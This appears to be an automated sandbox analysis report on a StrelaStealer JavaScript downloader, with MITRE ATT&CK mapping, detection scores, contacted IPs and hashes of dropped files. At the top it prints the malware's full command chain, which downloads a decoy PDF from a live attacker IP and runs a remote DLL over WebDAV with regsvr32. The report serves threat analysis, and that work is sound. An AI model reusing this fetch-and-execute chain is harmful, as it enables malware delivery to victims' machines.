Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6326489910548.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
260622981189829640.js	10%	Virustotal		Browse
260622981189829640.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/&	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/Z	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/.	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2188476143.00000260D4730000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://193.143.1.205:8888/Z	net.exe, 00000007.00000002.2187103464.0000015EA786B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000009.00000002.3421688295.00000260D4A00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/&	net.exe, 00000007.00000002.2187103464.0000015EA786B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2187103464.0000015EA786B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2187103464.0000015EA788A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2187103464.0000015EA785D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/.	net.exe, 00000007.00000002.2187103464.0000015EA786B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588485
Start date and time:	2025-01-11 01:52:23 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	260622981189829640.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 54.224.241.105, 50.16.47.176, 34.237.241.83, 18.213.11.84, 172.64.41.3, 162.159.61.3, 184.28.90.27, 2.16.168.105, 2.16.168.107, 23.209.209.135, 13.107.246.45, 4.175.87.197, 23.203.104.175
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, client.wns.windows.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
19:53:16	API Interceptor	23x Sleep call for process: powershell.exe modified
19:53:20	API Interceptor	1x Sleep call for process: net.exe modified
19:53:20	API Interceptor	2x Sleep call for process: svchost.exe modified
19:53:33	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	525931685256721403.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	217216328232499881.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	82691949257725140.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1187225758523111660.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4892182381391430128.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2445839083247016653.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	739144331377016921.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4947276292772611217.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15226731132828820.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2837518771550414407.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	525931685256721403.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	217216328232499881.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	82691949257725140.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1187225758523111660.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4892182381391430128.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2445839083247016653.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	739144331377016921.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4947276292772611217.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15226731132828820.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7262860823421928
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0i:9JZj5MiKNnNhoxuv
MD5:	45CEEABE3C76048EF8C1CB284A6BB376
SHA1:	C7046A4B699AFF325F338EB54330853B68F7EDEF
SHA-256:	2A47D9F5B5D5A8E11E0341DE97E9615BCF701B623C5582602761619F9621EBD4
SHA-512:	94FA7417CBD8B7637EF3AC95C9F4315D8C56614E2564C6CD56224A2656AED3DDEBD9D9EAF7E3C713E7000DD6F5EF3B00CE8E0D03E213ED349B9B1ECE7908BC21
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x159fd3ef, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555189865157177
Encrypted:	false
SSDEEP:	1536:1SB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:1azaSvGJzYj2UlmOlOL
MD5:	4D9EC75C667F837EB0C658F36945565A
SHA1:	EAD8C704836F4B5BBED29923C82EDAA4B3AE85A3
SHA-256:	B40056E2E58BEA932FCE70B2D67CE1500DFDDFDDDDCE53BF72C99799D690BC0F
SHA-512:	59D03A9F4C46D28D656410B3717569BDC31965C224F47B34340891E5F7FB803D3E337835ACC7E5B2DE09A52AC3EFCCC4F87D5E494344E5E2576097CB34EA4179
Malicious:	false
Preview:	....... .......7.......X\...;...{......................0.e......!...{?..5...}w.h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{....................................\.5...}....................1..5...}...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07781871229218082
Encrypted:	false
SSDEEP:	3:lYeGAYcrfNaAPaU1ldQ0k3XalluxmO+l/SNxOf:lz99NDPaUlAugmOH
MD5:	9B79B6515D44EE16BD7FAD77E3B4CD31
SHA1:	EC07E74B08EEA022377B5562AAE9A54B7DAFA8C6
SHA-256:	C9AF36DF32DE24BE7540AE6240FF1291884F55210DE779501C208EACB5FBEAAC
SHA-512:	6166C494F6F23FE8C9E3DDA83A4B5B9DE2E7105F5F08170EE5B309030D64C696E4C847D91BE0324E179A52A17682CE6B364DBCB91256BA6CC2370AF43BEA3FCC
Malicious:	false
Preview:	..N,.....................................;...{...5...}...!...{?..........!...{?..!...{?..g...!...{?...................1..5...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.228187957759462
Encrypted:	false
SSDEEP:	6:iO4yTKyq2PN72nKuAl9OmbnIFUtSy+1ZmwsydDRkwON72nKuAl9OmbjLJ:7J7vVaHAahFUtP+1/ldl5OaHAaSJ
MD5:	0F1CD022A9F368837E67D05F9FD8F8F3
SHA1:	9516F244DB2586D9FBDF476C36BA247E20F73CEC
SHA-256:	707B9AF19D6377F1F6299D36F07BA732C7FFBB553D9C31A86C974067543ADAFA
SHA-512:	3EF69FBE89FB4355DD249836ACF6C7C3256606509CD1E24B04F6560FFDF37CB115B69202DDF5AC93D917920484EDFD07E46AD739F50D9D033C77EAB791F42C8D
Malicious:	false
Preview:	2025/01/10-19:53:20.593 1874 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-19:53:20.595 1874 Recovering log #3.2025/01/10-19:53:20.596 1874 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.228187957759462
Encrypted:	false
SSDEEP:	6:iO4yTKyq2PN72nKuAl9OmbnIFUtSy+1ZmwsydDRkwON72nKuAl9OmbjLJ:7J7vVaHAahFUtP+1/ldl5OaHAaSJ
MD5:	0F1CD022A9F368837E67D05F9FD8F8F3
SHA1:	9516F244DB2586D9FBDF476C36BA247E20F73CEC
SHA-256:	707B9AF19D6377F1F6299D36F07BA732C7FFBB553D9C31A86C974067543ADAFA
SHA-512:	3EF69FBE89FB4355DD249836ACF6C7C3256606509CD1E24B04F6560FFDF37CB115B69202DDF5AC93D917920484EDFD07E46AD739F50D9D033C77EAB791F42C8D
Malicious:	false
Preview:	2025/01/10-19:53:20.593 1874 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-19:53:20.595 1874 Recovering log #3.2025/01/10-19:53:20.596 1874 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.192183483615417
Encrypted:	false
SSDEEP:	6:iO4ybaq2PN72nKuAl9Ombzo2jMGIFUtSyQcK9ZmwsyQXcVkwON72nKuAl9Ombzos:7JuvVaHAa8uFUtPQcK9/lQI5OaHAa8RJ
MD5:	75BA189D992C86CA2004588D4F034089
SHA1:	E6FF75BFEE583C1A12B1EAD42496825398EF2A4B
SHA-256:	64F795E2BA3B00092ABB6CE20CC6B1D1DD2C677E852884E2F1EE7FFAA4E60FAE
SHA-512:	18D352A463ABFAE2CFA4556ABAA7F6DF0722045AB5403F96BF06A6B1D82DAB578A3B2131B393582F5BA7005AAC9DC644F5AED6638CF27941C2A722D6F7F8339D
Malicious:	false
Preview:	2025/01/10-19:53:20.689 1644 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-19:53:20.691 1644 Recovering log #3.2025/01/10-19:53:20.692 1644 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.192183483615417
Encrypted:	false
SSDEEP:	6:iO4ybaq2PN72nKuAl9Ombzo2jMGIFUtSyQcK9ZmwsyQXcVkwON72nKuAl9Ombzos:7JuvVaHAa8uFUtPQcK9/lQI5OaHAa8RJ
MD5:	75BA189D992C86CA2004588D4F034089
SHA1:	E6FF75BFEE583C1A12B1EAD42496825398EF2A4B
SHA-256:	64F795E2BA3B00092ABB6CE20CC6B1D1DD2C677E852884E2F1EE7FFAA4E60FAE
SHA-512:	18D352A463ABFAE2CFA4556ABAA7F6DF0722045AB5403F96BF06A6B1D82DAB578A3B2131B393582F5BA7005AAC9DC644F5AED6638CF27941C2A722D6F7F8339D
Malicious:	false
Preview:	2025/01/10-19:53:20.689 1644 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-19:53:20.691 1644 Recovering log #3.2025/01/10-19:53:20.692 1644 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\92fa1085-26e3-46ff-a3da-04cbe195c97c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.9584256210303375
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPBXhsBdOg2HTgcaq3QYiubcP7E4T3y:Y2sRdsChydMHv3QYhbA7nby
MD5:	3DB8652B122BDB18E81D9C8B366D68E1
SHA1:	050567DC4645AA8031360A0CB0F08399B7FB84CF
SHA-256:	F0F5AB3532C608FFAE87C6416FB99DB84C3E134BAF587329DA72CCDC6DC295A4
SHA-512:	FDA757B689DC5184F86F5DB47A40C8ACDB7C8B1012F21FBEAFEBA27880348FD63A8AD023D5BD138310D986F4219F51510025B0F22EFDD8D7F1D45C4B3982C1F6
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381116813002816","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":129895},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.9584256210303375
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPBXhsBdOg2HTgcaq3QYiubcP7E4T3y:Y2sRdsChydMHv3QYhbA7nby
MD5:	3DB8652B122BDB18E81D9C8B366D68E1
SHA1:	050567DC4645AA8031360A0CB0F08399B7FB84CF
SHA-256:	F0F5AB3532C608FFAE87C6416FB99DB84C3E134BAF587329DA72CCDC6DC295A4
SHA-512:	FDA757B689DC5184F86F5DB47A40C8ACDB7C8B1012F21FBEAFEBA27880348FD63A8AD023D5BD138310D986F4219F51510025B0F22EFDD8D7F1D45C4B3982C1F6
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381116813002816","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":129895},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.253297639425267
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7Ux5Bl:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhs
MD5:	49AE5181E9D524BE962945047BFF5429
SHA1:	87EA583D997AC60912209CA1B4DEAE79675E504D
SHA-256:	396A09884873E5826041C34C41F5B575E2F4D153F24C7451E716354B5C12FFD6
SHA-512:	C4446716D5D3DEB18D5AD7CDD6F267241F8FAC322277FA2607C01CD038EBF1A0C3CE761EB0F67588549DAB3DFFADCD891B3328D311FE3DA0C145F166BAEAC277
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.166334361603559
Encrypted:	false
SSDEEP:	6:iO4jUUOq2PN72nKuAl9OmbzNMxIFUtSjCgRXZmwsjTuFkwON72nKuAl9OmbzNMFd:79lvVaHAa8jFUta9/gy5OaHAa84J
MD5:	2614DD60B0F41C6F3AA9F0E4F5FD3702
SHA1:	F038979558785099BA86C57B108E01C58863E84B
SHA-256:	EFB61F40E8DF18F1477AF6D331D1055B4D51EDCBD31645AE67EAF3D37447BFB1
SHA-512:	7CC282E6693ED2DC640DE6190A32E21331DD2CDB5DA3FC6B699223BF57E1D72C5992C57CD28368DB5FA4DE2A1233FE92951DFF385696B91EB2EE85D47E73E1EA
Malicious:	false
Preview:	2025/01/10-19:53:21.036 1644 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-19:53:21.052 1644 Recovering log #3.2025/01/10-19:53:21.064 1644 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.166334361603559
Encrypted:	false
SSDEEP:	6:iO4jUUOq2PN72nKuAl9OmbzNMxIFUtSjCgRXZmwsjTuFkwON72nKuAl9OmbzNMFd:79lvVaHAa8jFUta9/gy5OaHAa84J
MD5:	2614DD60B0F41C6F3AA9F0E4F5FD3702
SHA1:	F038979558785099BA86C57B108E01C58863E84B
SHA-256:	EFB61F40E8DF18F1477AF6D331D1055B4D51EDCBD31645AE67EAF3D37447BFB1
SHA-512:	7CC282E6693ED2DC640DE6190A32E21331DD2CDB5DA3FC6B699223BF57E1D72C5992C57CD28368DB5FA4DE2A1233FE92951DFF385696B91EB2EE85D47E73E1EA
Malicious:	false
Preview:	2025/01/10-19:53:21.036 1644 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-19:53:21.052 1644 Recovering log #3.2025/01/10-19:53:21.064 1644 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.4447404760106
Encrypted:	false
SSDEEP:	384:ye6ci5tNiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mms3OazzU89UTTgUL
MD5:	9A5655384AEC37540B1639E1EA57D322
SHA1:	0B7CABA98034DB813C8107CC0C0D9905A023BEA8
SHA-256:	F7862425A282869E4462B14ED0271B12A9211B33ABB45F1707C60C63B94FE479
SHA-512:	E1B58755FBE9F97B06112A8EC5677DD5BE691F1597104A8278D83EC42DAAB6A9AC135AC2CC6113AA48C2250BB204E2E679E68B38F9D9D3C2C9A82709CA262EF9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7692681468996323
Encrypted:	false
SSDEEP:	48:7M4JioyVRioyRoy1C7oy16oy1fKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1Ob:7vJuRPOXjBitb9IVXEBodRBke
MD5:	85427F1930E4D2E9C63C2D3731BCC6C2
SHA1:	62FC9D0FD9A1210EDCA7A8B2FAE9D57FB2A3FAC5
SHA-256:	88441E934CBC595F2C0311765A4B07BAE501FA8943276CDCDD6062074F3AB441
SHA-512:	A7F37FBAD57E4A0DA9FBCA26B156A2ECE0E64782CCC10E1A312C88FDA80421D71124E2D81003618B3D5B0D8E524A77F3F0DAF8379207DC99C92C5343EE82118A
Malicious:	false
Preview:	.... .c........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
